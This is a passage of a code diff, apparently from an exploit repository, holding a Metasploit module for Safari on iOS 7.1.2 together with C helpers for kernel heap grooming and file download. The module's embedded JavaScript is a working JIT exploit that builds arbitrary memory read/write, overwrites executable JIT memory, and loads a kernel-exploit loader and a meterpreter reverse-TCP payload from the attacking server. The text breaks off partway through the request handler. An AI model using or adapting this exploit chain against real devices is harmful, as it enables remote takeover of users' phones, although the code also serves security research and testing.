__AfterSendRpc(3403, "mach_ports_register")
|
||||
if (msg_result != MACH_MSG_SUCCESS) {
|
||||
__MachMsgErrorWithoutTimeout(msg_result);
|
||||
{ return msg_result; }
|
||||
}
|
||||
|
||||
|
||||
#if defined(__MIG_check__Reply__mach_ports_register_t__defined)
|
||||
check_result = __MIG_check__Reply__mach_ports_register_t((__Reply__mach_ports_register_t *)Out0P);
|
||||
if (check_result != MACH_MSG_SUCCESS)
|
||||
{ return check_result; }
|
||||
#endif /* defined(__MIG_check__Reply__mach_ports_register_t__defined) */
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,46 @@
|
|||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
@import Foundation;
|
||||
#include <stdio.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/attr.h>
|
||||
#include <mach/mach.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mount.h>
|
||||
#include <spawn.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/types.h> /* See NOTES */
|
||||
#include <sys/socket.h>
|
||||
|
||||
#include <stdint.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
typedef mach_port_t io_object_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
typedef io_object_t io_service_t;
|
||||
typedef char * io_buf_ptr_t;
|
||||
typedef uintptr_t addr_t;
|
||||
|
||||
void for_other_threads(void (^handler)(thread_act_t thread));
|
||||
void set_nofile_limit();
|
||||
int download(char *src, char *dest);
|
||||
mach_port_t alloc_port();
|
||||
kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt);
|
||||
kern_return_t kalloc_page_ool_ports(mach_port_t port);
|
||||
kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port);
|
||||
void discard_message(mach_port_t port);
|
||||
void hexdump(void *ptr, size_t n);
|
||||
int pipe_create(int fds[2]);
|
||||
int pipe_alloc(int fds[2], void *buf, size_t size);
|
||||
void pipes_close(int *pipes, size_t count);
|
||||
int pipes_create(int *pipes, size_t count);
|
||||
int pipes_alloc(int *pipes, size_t count, char *pipe_buf);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,248 @@
|
|||
// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c
|
||||
#include "utils.h"
|
||||
|
||||
void for_other_threads(void (^handler)(thread_act_t thread))
|
||||
{
|
||||
thread_act_t thread_self = mach_thread_self();
|
||||
thread_act_port_array_t list;
|
||||
mach_msg_type_number_t count;
|
||||
kern_return_t kr = 0;
|
||||
|
||||
kr = task_threads(mach_task_self(), &list, &count);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
NSLog(@"task_threads failed");
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i=0; i<count; i++) {
|
||||
if (list[i] != thread_self) {
|
||||
handler(list[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void set_nofile_limit()
|
||||
{
|
||||
int ret;
|
||||
struct rlimit rlim;
|
||||
ret = getrlimit(RLIMIT_NOFILE, &rlim);
|
||||
if (ret < 0) {
|
||||
NSLog(@"getresuid failed errno: %d", errno);
|
||||
exit(-1);
|
||||
}
|
||||
NSLog(@"nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);
|
||||
|
||||
rlim.rlim_cur = 0x2000;
|
||||
ret = setrlimit(RLIMIT_NOFILE, &rlim);
|
||||
if (ret < 0) {
|
||||
NSLog(@"setrlimit failed errno: %d", errno);
|
||||
exit(-1);
|
||||
}
|
||||
NSLog(@"set new nofile limit: %llx", rlim.rlim_cur);
|
||||
}
|
||||
|
||||
NSData *download_data(NSString *_url)
|
||||
{
|
||||
NSURL *url = [NSURL URLWithString:_url];
|
||||
NSLog(@"get %@", url);
|
||||
NSData *urlData = [NSData dataWithContentsOfURL:url];
|
||||
if (urlData != nil)
|
||||
NSLog(@"got remote len: %d", [urlData length]);
|
||||
else
|
||||
NSLog(@"could not get %@", url);
|
||||
|
||||
return urlData;
|
||||
}
|
||||
|
||||
int download(char *src, char *dest)
|
||||
{
|
||||
NSString *url = [NSString stringWithUTF8String:src];
|
||||
NSData *data = download_data(url);
|
||||
if (data == nil)
|
||||
return -1;
|
||||
|
||||
unlink(dest);
|
||||
sync();
|
||||
|
||||
int fd = open(dest, O_CREAT | O_RDWR,
|
||||
S_IRUSR | S_IXUSR | S_IWUSR |
|
||||
S_IRGRP | S_IXGRP |
|
||||
S_IROTH | S_IXOTH
|
||||
);
|
||||
if (fd < 0) {
|
||||
NSLog(@"could not open %s", dest);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int ret = write(fd, [data bytes], [data length]);
|
||||
NSLog(@"saved to %s, write ret: %d", dest, ret);
|
||||
close(fd);
|
||||
|
||||
sync();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
mach_port_t alloc_port()
|
||||
{
|
||||
kern_return_t err;
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
NSLog(@"mach_port_allocate failed to allocate a port");
|
||||
}
|
||||
|
||||
// insert a send right:
|
||||
err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
NSLog(@"mach_port_insert_right failed");
|
||||
}
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
// Controlled kernel memory allocations used below
|
||||
// are taken from [1] and described there in great details.
|
||||
typedef struct
|
||||
{
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports;
|
||||
uint8_t pad[0x200];
|
||||
} kalloc_mach_msg_t;
|
||||
|
||||
kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt)
|
||||
{
|
||||
kern_return_t err;
|
||||
kalloc_mach_msg_t kalloc_msg = {0};
|
||||
uint32_t msg_size = sizeof(kalloc_msg);
|
||||
// send a message with two OOL NULL ports; these will end up in a kalloc.16:
|
||||
|
||||
kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg);
|
||||
kalloc_msg.hdr.msgh_remote_port = port;
|
||||
kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
kalloc_msg.hdr.msgh_id = 0x41414141;
|
||||
|
||||
kalloc_msg.body.msgh_descriptor_count = 1;
|
||||
mach_port_t ports[cnt];
|
||||
for (int i=0; i<cnt; i++) {
|
||||
ports[i] = ool_port;
|
||||
}
|
||||
|
||||
kalloc_msg.ool_ports.address = ports;
|
||||
kalloc_msg.ool_ports.count = cnt;
|
||||
kalloc_msg.ool_ports.deallocate = 0;
|
||||
kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
|
||||
err = mach_msg(&kalloc_msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t)msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
NSLog(@"sending kalloc.8 message failed %s\n", mach_error_string(err));
|
||||
}
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
kern_return_t kalloc_page_ool_ports(mach_port_t port)
|
||||
{
|
||||
return kalloc_ool_ports(port, MACH_PORT_NULL, PAGE_SIZE/4);
|
||||
}
|
||||
|
||||
kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port)
|
||||
{
|
||||
return kalloc_ool_ports(port, ool_port, 2);
|
||||
}
|
||||
|
||||
void discard_message(mach_port_t port)
|
||||
{
|
||||
static int8_t msg_buf[0x4000];
|
||||
mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
|
||||
kern_return_t err;
|
||||
err = mach_msg(msg,
|
||||
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout
|
||||
0,
|
||||
sizeof(msg_buf),
|
||||
port,
|
||||
0,
|
||||
0);
|
||||
if (err != KERN_SUCCESS){
|
||||
NSLog(@"error receiving on port: %s\n", mach_error_string(err));
|
||||
}
|
||||
|
||||
mach_msg_destroy(msg);
|
||||
}
|
||||
|
||||
void hexdump(void *ptr, size_t n)
|
||||
{
|
||||
uint32_t *u32 = ptr;
|
||||
|
||||
for (int i=0; i<n; i+=2) {
|
||||
NSLog(@"%08X %08X", u32[i], u32[i+1]);
|
||||
}
|
||||
}
|
||||
|
||||
int pipe_create(int fds[2])
|
||||
{
|
||||
int ret = pipe(fds);
|
||||
if (ret < 0) {
|
||||
NSLog(@"pipe allocation failed errno: %d", errno);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int pipe_alloc(int fds[2], void *buf, size_t size)
|
||||
{
|
||||
int ret = write(fds[1], buf, size);
|
||||
if (ret < 0) {
|
||||
NSLog(@"pipe write failed, fd: %d, errno: %d", fds[1], errno);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void pipes_close(int *pipes, size_t count)
|
||||
{
|
||||
for (int i=0; i<count; i++) {
|
||||
if (pipes[i*2] != -1) {
|
||||
close(pipes[i*2]);
|
||||
close(pipes[i*2+1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int pipes_create(int *pipes, size_t count)
|
||||
{
|
||||
for (int i=0; i<count; i++) {
|
||||
if (pipe_create(&pipes[i*2]) < 0) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int pipes_alloc(int *pipes, size_t count, char *pipe_buf)
|
||||
{
|
||||
for (int i=0; i<count; i++) {
|
||||
if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) {
|
||||
NSLog(@"pipe alloc failed at %d", i);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,549 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Safari JIT Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a JIT optimisation bug in Safari Webkit. This allows us to
|
||||
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
|
||||
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
|
||||
obtains root and disables code signing. Finally we download and execute the
|
||||
meterpreter payload.
|
||||
This module has been tested against iOS 7.1.2 on an iPhone 4.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'kudima', # ishell
|
||||
'Ian Beer', # CVE-2016-4669
|
||||
'WanderingGlitch', # CVE-2018-4162
|
||||
'timwr', # metasploit integration
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2016-4669'],
|
||||
['CVE', '2018-4162'],
|
||||
['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
|
||||
['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
|
||||
],
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Platform' => 'apple_ios',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
|
||||
'Targets' => [[ 'Automatic', {} ]],
|
||||
'DisclosureDate' => 'Aug 25 2016'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
|
||||
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_js
|
||||
<<~JS
|
||||
//
|
||||
// Initial notes.
|
||||
//
|
||||
// If we look at publicly available exploits for this kind of
|
||||
// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
|
||||
// differently interprets the content of arrays based on
|
||||
// their type, besides object pointers and 64-bit doubles may have
|
||||
// the same representation.
|
||||
//
|
||||
// This is not the case for 32-bit version of JavaScriptCore.
|
||||
// The details are in runtime/JSCJSValue.h. All JSValues are still
|
||||
// 64-bit, but for the cells representing objects
|
||||
// the high 32-bit are always 0xfffffffb (since we only need 32-bit
|
||||
// to represent a pointer), meaning cell is always a NaN in IEEE754
|
||||
// representation used for doubles and it is not possible to confuse
|
||||
// an cell and a IEEE754 encoded double value.
|
||||
//
|
||||
// Another difference is how the cells are represented
|
||||
// in the version of JavaScriptCore by iOS 7.1.2.
|
||||
// The type of the cell object is determined by m_structure member
|
||||
// at offset 0 which is a pointer to Structure object.
|
||||
// On 64-bit systems, at the time [2], [3]
|
||||
// were published, a 32-bit integer value was used as a structure id.
|
||||
// And it was possible to deterministically predict that id for
|
||||
// specific object layout.
|
||||
//
|
||||
// The exploit outline.
|
||||
//
|
||||
// Let's give a high level description of the steps taken by the
|
||||
// exploit to get to arbitrary code execution.
|
||||
//
|
||||
// 1. We use side effect bug to overwrite butterfly header by confusing
|
||||
// Double array with ArrayStorage and obtain out of bound (oob) read/write
|
||||
// into array butterflies allocation area.
|
||||
//
|
||||
// 2. Use oob read/write to build addrOf/materialize object primitives,
|
||||
// by overlapping ArrayStorage length with object pointer part of a cell
|
||||
// stored in Contiguous array.
|
||||
//
|
||||
// 3. Craft a fake Number object in order to leak real object structure
|
||||
// pointer via a runtime function.
|
||||
//
|
||||
// 4. Use leaked structure pointer to build a fake fake object allowing
|
||||
// as read/write access to a Uint32Array object to obtain arbitrary read/write.
|
||||
//
|
||||
// 5. We overwrite rwx memory used for jit code and redirect execution
|
||||
// to that memory using our arbitrary read/write.
|
||||
|
||||
var log_el = "";
|
||||
|
||||
function log(msg) {
|
||||
log_el += msg + "\\n";
|
||||
}
|
||||
|
||||
function logFinalize() {
|
||||
alert(log_el);
|
||||
}
|
||||
|
||||
function main(loader, macho) {
|
||||
|
||||
// auxillary arrays to facilitate
|
||||
// 64-bit floats to pointers conversion
|
||||
var ab = new ArrayBuffer(8)
|
||||
var u32 = new Uint32Array(ab);
|
||||
var f64 = new Float64Array(ab);
|
||||
|
||||
function toF64(hi, lo) {
|
||||
u32[0] = hi;
|
||||
u32[1] = lo;
|
||||
return f64[0];
|
||||
}
|
||||
|
||||
function toHILO(f) {
|
||||
f64[0] = f;
|
||||
return [u32[0], u32[1]]
|
||||
}
|
||||
|
||||
function printF64(f) {
|
||||
var u32 = toHILO(f);
|
||||
return (u32[0].toString(16) + " " + u32[1].toString(16));
|
||||
}
|
||||
|
||||
// arr is an object with a butterfly
|
||||
//
|
||||
// cmp is an object we compare with
|
||||
//
|
||||
// v is a value assigned to an indexed property,
|
||||
// gives as ability to change the butterfly
|
||||
function oob_write(arr, cmp, v, i) {
|
||||
arr[0] = 1.1;
|
||||
// place a comparison with an object,
|
||||
// incorrectly modeled as side effects free
|
||||
cmp == 1;
|
||||
// if i less then the butterfly length,
|
||||
// it simply writes the value, otherwise
|
||||
// bails to baseline jit, which is going to
|
||||
// handle the write via a slow path.
|
||||
arr[i] = v;
|
||||
return arr[0];
|
||||
}
|
||||
|
||||
function make_oob_array() {
|
||||
|
||||
var oob_array;
|
||||
|
||||
// allocate an object
|
||||
var arr = {};
|
||||
arr.p = 1.1;
|
||||
// allocate butterfly of size 0x38,
|
||||
// 8 bytes header and 6 elements. To get the size
|
||||
// we create an array and inspect its memory
|
||||
// in jsc command line interpreter.
|
||||
arr[0] = 1.1;
|
||||
|
||||
// toString is triggered during comparison,
|
||||
var x = {toString: function () {
|
||||
// convert the butterfly into an
|
||||
// array storage with two values,
|
||||
// initial 1.1 64-bit at 0 is going to be placed
|
||||
// to m_vector and value at 1000 is placed into
|
||||
// the m_sparceMap
|
||||
arr[1000] = 2.2;
|
||||
// allocate a new butterfly right after
|
||||
// our ArrayStorage. The butterflies are
|
||||
// allocated continuously regardless
|
||||
// of the size. For the array we
|
||||
// get 0x28 bytes, header and 4 elements.
|
||||
oob_array = [1.1];
|
||||
return '1';
|
||||
}
|
||||
};
|
||||
|
||||
// ArrayStorage buttefly--+
|
||||
// |
|
||||
// V
|
||||
//-8 -4 0 4
|
||||
// | pub length | length | m_sparceMap | m_indexBias |
|
||||
//
|
||||
// 8 0xc 0x10
|
||||
// | m_numValuesInVector | m_padding | m_vector[0]
|
||||
//
|
||||
//0x18 0x20 0x28
|
||||
// | m_vector[1] | m_vector[2] | m_vector[3] |
|
||||
//
|
||||
// oob_array butterfly
|
||||
// |
|
||||
// V
|
||||
//0x30 0x34 0x38 0x40 0x48 0x50
|
||||
// | pub length | length | el0 | el1 | el2 |
|
||||
//
|
||||
|
||||
// We enter the function with arr butterfly
|
||||
// backed up by a regular butterfly, during the side effect
|
||||
// in toString method we turn it into an ArrayStorage,
|
||||
// and allocate a butterfly right after it. So we
|
||||
// hopefully get memory layout as on the diagram above.
|
||||
//
|
||||
// The compiled code for oob_write, being not aware of the
|
||||
// shape change, is going to compare 6 to the ArrayStorage
|
||||
// length (which we set to 1000 in toString) and proceed
|
||||
// to to write at index 6 relative to ArrayStorage butterfly,
|
||||
// overwriting the oob_array butterfly header with 64-bit float
|
||||
// encoded as 0x0000100000001000. Which gives as ability to write
|
||||
// out of bounds of oob_array up to 0x1000 bytes, hence
|
||||
// the name oob_array.
|
||||
|
||||
var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);
|
||||
|
||||
return oob_array;
|
||||
}
|
||||
|
||||
// returns address of an object
|
||||
function addrOf(o) {
|
||||
// overwrite ArrayStorage public length
|
||||
// with the object pointer
|
||||
oob_array[4] = o;
|
||||
// retrieve the address as ArrayStorage
|
||||
// butterfly public length
|
||||
var r = oobStorage.length;
|
||||
return r;
|
||||
}
|
||||
|
||||
function materialize(addr) {
|
||||
// replace ArrayStorage public length
|
||||
oobStorage.length = addr;
|
||||
// retrieve the placed address
|
||||
// as an object
|
||||
return oob_array[4];
|
||||
}
|
||||
|
||||
function read32(addr) {
|
||||
var lohi = toHILO(rw0Master.rw0_f2);
|
||||
// replace m_buffer with our address
|
||||
rw0Master.rw0_f2 = toF64(lohi[0], addr);
|
||||
var ret = u32rw[0];
|
||||
// restore
|
||||
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
|
||||
return ret;
|
||||
}
|
||||
|
||||
function write32(addr, v) {
|
||||
var lohi = toHILO(rw0Master.rw0_f2);
|
||||
rw0Master.rw0_f2 = toF64(lohi[0], addr);
|
||||
// for some reason if we don't do this
|
||||
// and the value is negative as a signed int ( > 0x80000000)
|
||||
// it takes base from a different place
|
||||
u32rw[0] = v & 0xffffffff;
|
||||
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
|
||||
}
|
||||
|
||||
function testRW32() {
|
||||
var o = [1.1];
|
||||
|
||||
log("--------------- testrw32 -------------");
|
||||
log("len: " + o.length);
|
||||
|
||||
var bfly = read32(addrOf(o)+4);
|
||||
log("bfly: " + bfly.toString(16));
|
||||
|
||||
var len = read32(bfly-8);
|
||||
log("bfly len: " + len.toString(16));
|
||||
write32(bfly - 8, 0x10);
|
||||
var ret = o.length == 0x10;
|
||||
log("len: " + o.length);
|
||||
write32(bfly - 8, 1);
|
||||
log("--------------- testrw32 -------------");
|
||||
return ret;
|
||||
}
|
||||
|
||||
// dump @len dword
|
||||
function dumpAddr(addr, len) {
|
||||
var output = 'addr: ' + addr.toString(16) + "\\n";
|
||||
for (var i=0; i<len; i++) {
|
||||
output += read32(addr + i*4).toString(16) + " ";
|
||||
if ((i+1) % 2 == 0) {
|
||||
output += "\\n";
|
||||
}
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
// prepare the function we are going to
|
||||
// use to run our macho loader
|
||||
exec_code = "var o = {};";
|
||||
for (var i=0; i<200; i++) {
|
||||
exec_code += "o.p = 1.1;";
|
||||
}
|
||||
exec_code += "if (v) alert('exec');";
|
||||
|
||||
var exec = new Function('v', exec_code);
|
||||
|
||||
// force JavaScriptCore to generate jit code
|
||||
// for the function
|
||||
for (var i=0; i<1000; i++)
|
||||
exec();
|
||||
|
||||
// create an object with a Double array butterfly
|
||||
var arr = {};
|
||||
arr.p = 1.1;
|
||||
arr[0] = 1.1;
|
||||
|
||||
// force DFG optimization for oob_write function,
|
||||
// with a write beyond the allocated storage
|
||||
for (var i=0; i<10000; i++) {
|
||||
oob_write(arr, {}, 1.1, 1);
|
||||
}
|
||||
|
||||
// prepare a double array which we are going to turn
|
||||
// into an ArrayStorage later on.
|
||||
var oobStorage = [];
|
||||
oobStorage[0] = 1.1;
|
||||
|
||||
// create an array with oob read/write
|
||||
// relative to its butterfly
|
||||
var oob_array = make_oob_array();
|
||||
// Allocate an ArrayStorage after oob_array butterfly.
|
||||
oobStorage[1000] = 2.2;
|
||||
|
||||
// convert into Contiguous storage, so we can materialize
|
||||
// objects
|
||||
oob_array[4] = {};
|
||||
|
||||
// allocate two objects with seven inline properties one after another,
|
||||
// for fake object crafting
|
||||
var oo = [];
|
||||
for (var i=0; i<0x10; i++) {
|
||||
o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
|
||||
oo.push(o);
|
||||
}
|
||||
|
||||
// for some reason if we just do
|
||||
//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
|
||||
//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
|
||||
// the objects just get some random addressed far apart, and we need
|
||||
// them allocated one after another.
|
||||
|
||||
var fakeObjStore = oo.pop();
|
||||
// we are going to leak Structure pointer for this object
|
||||
var structLeaker = oo.pop();
|
||||
|
||||
// eventually we want to use it for read/write into typed array,
|
||||
// and typed array is 0x18 bytes from our experiments.
|
||||
// To cover all 0x18 bytes, we add four out of line properties
|
||||
// to the structure we want to leak.
|
||||
structLeaker.rw0_f1 = 1.1;
|
||||
structLeaker.rw0_f2 = 1.1;
|
||||
structLeaker.rw0_f3 = 1.1;
|
||||
structLeaker.rw0_f4 = 1.1;
|
||||
|
||||
log("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
|
||||
log("structLeaker: " + addrOf(structLeaker).toString(16));
|
||||
|
||||
var fakeObjStoreAddr = addrOf(fakeObjStore)
|
||||
// m_typeInfo offset within a Structure class is 0x34
|
||||
// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
|
||||
// for Number
|
||||
|
||||
// we want to achieve the following layout for fakeObjStore
|
||||
//
|
||||
// 0 8 0x10 0x18 0x20 0x28 0x30
|
||||
// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |
|
||||
//
|
||||
// 0x30 0x34 0x38 0x40
|
||||
// | fakeObjStoreAddr | 0x00008015 | 1.1 |
|
||||
//
|
||||
// we materialize fakeObjStoreAddr + 0x30 as an object,
|
||||
// As we can see the Structure pointer points back to fakeObjStore,
|
||||
// which is acting as a structure for our object. In that fake
|
||||
// structure object we craft m_typeInfo as if it was a Number object.
|
||||
// At offset +0x34 the Structure objects have m_typeInfo member indicating
|
||||
// the object type.
|
||||
// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
|
||||
// So we place that value at offset 0x34 relative to the fakeObjStore start.
|
||||
fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
|
||||
var fakeNumber = materialize(fakeObjStoreAddr + 0x30);
|
||||
|
||||
// We call a runtime function valueOf on Number, which only verifies
|
||||
// that m_typeInfo field describes a Number object. Then it reads
|
||||
// and returns 64-bit float value at object address + 0x10.
|
||||
//
|
||||
// In our seven properties object, it's
|
||||
// going to be a 64-bit word located right after last property. Since
|
||||
// we have arranged another seven properties object to be placed right
|
||||
// after fakeObjStore, we are going to get first 8 bytes of
|
||||
// that cell object which has the following layout.
|
||||
// 0 4 8
|
||||
// | m_structure | m_butterfly |
|
||||
var val = Number.prototype.valueOf.call(fakeNumber);
|
||||
|
||||
// get lower 32-bit of a 64-bit float, which is a structure pointer.
|
||||
var _7pStructAddr = toHILO(val)[1];
|
||||
log("struct addr: " + _7pStructAddr.toString(16));
|
||||
|
||||
// now we are going to use the structure to craft an object
|
||||
// with properties allowing as read/write access to Uint32Array.
|
||||
|
||||
var aabb = new ArrayBuffer(0x20);
|
||||
|
||||
// Uint32Array is 0x18 bytes,
|
||||
// + 0xc m_impl
|
||||
// + 0x10 m_storageLength
|
||||
// + 0x14 m_storage
|
||||
var u32rw = new Uint32Array(aabb, 4);
|
||||
|
||||
// Create a fake object with the structure we leaked before.
|
||||
// So we can r/w to Uint32Array via out of line properties.
|
||||
// The ool properties are placed before the butterfly header,
|
||||
// so we point our fake object butterfly to Uint32Array + 0x28,
|
||||
// to cover first 0x20 bytes via four out of line properties we added earlier
|
||||
var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};
|
||||
|
||||
// materialize whatever we put in the first inline property as an object
|
||||
var rw0Master = materialize(addrOf(objRW0Store) + 8);
|
||||
|
||||
// magic
|
||||
var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
|
||||
for (var i=0; i<8; i++) {
|
||||
read32(addrOf(o));
|
||||
write32(addrOf(o)+8, 0);
|
||||
}
|
||||
|
||||
//testRW32();
|
||||
// JSFunction->m_executable
|
||||
var m_executable = read32(addrOf(exec)+0xc);
|
||||
|
||||
// m_executable->m_jitCodeForCall
|
||||
var jitCodeForCall = read32(m_executable + 0x14) - 1;
|
||||
log("jit code pointer: " + jitCodeForCall.toString(16));
|
||||
|
||||
// Get JSCell::destroy pointer, and pass it
|
||||
// to the code we are going to execute as an argument
|
||||
var n = new Number(1.1);
|
||||
var struct = read32(addrOf(n));
|
||||
// read methodTable
|
||||
var classInfo = read32(struct + 0x20);
|
||||
// read JSCell::destroy
|
||||
var JSCell_destroy = read32(classInfo + 0x10);
|
||||
|
||||
log("JSCell_destroy: " + JSCell_destroy.toString(16));
|
||||
|
||||
// overwrite jit code of exec function
|
||||
for (var i=0; i<loader.length; i++) {
|
||||
var x = loader[i];
|
||||
write32(jitCodeForCall+i*4, x);
|
||||
}
|
||||
|
||||
// pass JSCell::destroy pointer and
|
||||
// the macho file as arguments to our
|
||||
// macho file loader, so it can get dylib cache slide
|
||||
var nextBuf = read32(addrOf(macho) + 0x14);
|
||||
// we pass parameters to the loader as a list of 32-bit words
|
||||
// places right before the start
|
||||
write32(jitCodeForCall-4, JSCell_destroy);
|
||||
write32(jitCodeForCall-8, nextBuf);
|
||||
log(nextBuf.toString(16));
|
||||
//logFinalize();
|
||||
// start our macho loader
|
||||
exec(true);
|
||||
alert("no go");
|
||||
logFinalize();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
function asciiToUint8Array(str) {
|
||||
|
||||
var len = Math.floor((str.length + 4)/4) * 4;
|
||||
var bytes = new Uint8Array(len);
|
||||
|
||||
for (var i=0; i<str.length; i++) {
|
||||
var code = str.charCodeAt(i);
|
||||
bytes[i] = code & 0xff;
|
||||
}
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
// loads base64 encoded payload from the server and converts
|
||||
// it into a Uint32Array
|
||||
function loadAsUint32Array(path) {
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
|
||||
xhttp.send();
|
||||
var payload = atob(xhttp.response);
|
||||
payload = asciiToUint8Array(payload);
|
||||
return new Uint32Array(payload.buffer);
|
||||
}
|
||||
|
||||
var loader = loadAsUint32Array("loader.b64");
|
||||
var macho = loadAsUint32Array("macho.b64");
|
||||
setTimeout(function() {main(loader, macho);}, 50);
|
||||
} catch (e) {
|
||||
alert(e + "\\n" + e.stack);
|
||||
}
|
||||
JS
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request #{request.uri} from #{request['User-Agent']}")
|
||||
if request.uri.starts_with? '/loader.b64'
|
||||
loader_data = exploit_data('CVE-2016-4669', 'loader')
|
||||
loader_data = Rex::Text.encode_base64(loader_data)
|
||||
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
elsif request.uri.starts_with? '/macho.b64'
|
||||
loader_data = exploit_data('CVE-2016-4669', 'macho')
|
||||
payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
|
||||
payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
|
||||
